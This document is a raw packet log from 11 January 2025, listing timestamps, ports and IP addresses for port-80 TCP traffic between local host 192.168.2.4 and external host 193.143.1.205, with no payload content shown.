Jan 11, 2025 05:52:26.704375029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704440117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.704513073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704524994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704535007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704559088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704570055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.704571009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704583883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704596996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704607010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704612970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.704619884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704629898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704641104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.704648972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.704678059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.705081940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705092907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705102921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705113888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705126047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705131054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.705137968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705149889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705161095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705161095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.705172062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705184937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705189943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.705197096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705210924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.705219984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.705245018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.716257095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.716269016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.716321945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.751831055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.751915932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752077103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752089024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752099991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752110958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752123117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752139091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752186060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752197027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752208948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752218962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752232075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752254963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752284050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752434969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752445936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752456903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752468109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752480030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752490997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752501965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752502918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752532005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752556086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752720118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752732038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752743006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752768040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752872944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752882957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752892017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752909899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752923012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752931118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.752933979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752948046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752959967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.752973080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753010988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753205061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753216982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753227949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753247976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753258944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753262043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753273964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753287077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753287077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753329992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753515959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753528118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753537893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753550053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753561974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753571033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753575087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753587008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753599882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753629923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.753817081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753829002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.753864050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.786863089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.786927938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.789482117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789506912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789518118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789530039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789577007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.789616108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789618969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.789628983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789638996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789664984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789678097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.789793015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789804935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789815903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789839029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.789871931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.789959908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789972067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789983034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.789994955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790004969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790008068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790018082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790035963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790043116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790066957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790251017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790263891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790299892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790314913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790326118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790338039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790359974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790397882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790524960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790539980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790554047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790565968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790576935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790587902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790601969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790601969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790642977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790827990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790843010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790854931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790872097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790910006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.790986061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.790997982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791012049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791030884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791035891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791047096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791058064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791069031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791079998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791088104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791094065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791105986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791117907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791130066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791152000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791666031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791676044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791686058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791699886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791712046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791722059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791727066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791733980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791745901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791748047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791757107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791768074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791779041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791781902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791791916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791804075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791815996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791826963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791826963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791838884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.791841030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.791872978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.792256117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792268038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792280912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792296886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792303085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.792309999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792321920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792324066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.792335033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792346001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792356968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792365074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.792370081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.792388916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.792412996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.838850975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.838874102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.838885069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.838906050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.838918924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.838927031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.838931084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.838949919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.838949919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.838992119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839011908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839026928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839051962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839056969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839070082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839081049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839098930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839119911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839214087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839226007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839251995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839263916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839273930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839276075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839308023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839495897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839509010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839521885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839534998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839541912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839549065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839566946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839589119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839602947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839787960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839801073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839812040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839823961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839831114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839837074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839848995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839859962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839864016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.839884043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.839910030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840100050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840120077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840133905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840145111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840156078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840158939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840168953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840181112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840182066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840197086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840209007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840219975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840221882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840231895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840240955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840245962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840259075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840265989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840296030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840619087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840630054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840641975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.840663910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.840703011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.848587990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876425982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876437902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876456022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876466990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876478910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876493931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876507998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876543999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876596928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876609087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876614094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876626015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876636028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876646996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876657963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876682997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876813889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876826048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876837015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876848936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876858950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876862049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.876910925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.876928091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877032042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877046108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877058029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877069950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877082109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877088070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877119064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877258062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877269030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877280951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877291918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877302885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877302885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877346992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877542973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877561092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877571106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877583027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877594948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877605915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877615929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877616882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877629042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877640963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877652884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877661943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877665997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.877687931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.877718925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.878155947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878166914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878176928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878187895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878197908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.878199100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878211021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878221989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878233910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878236055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:52:26.878246069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878257036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878267050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878277063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:52:26.878281116 CET	49730	80	192.168.2.4	193.143.1.205
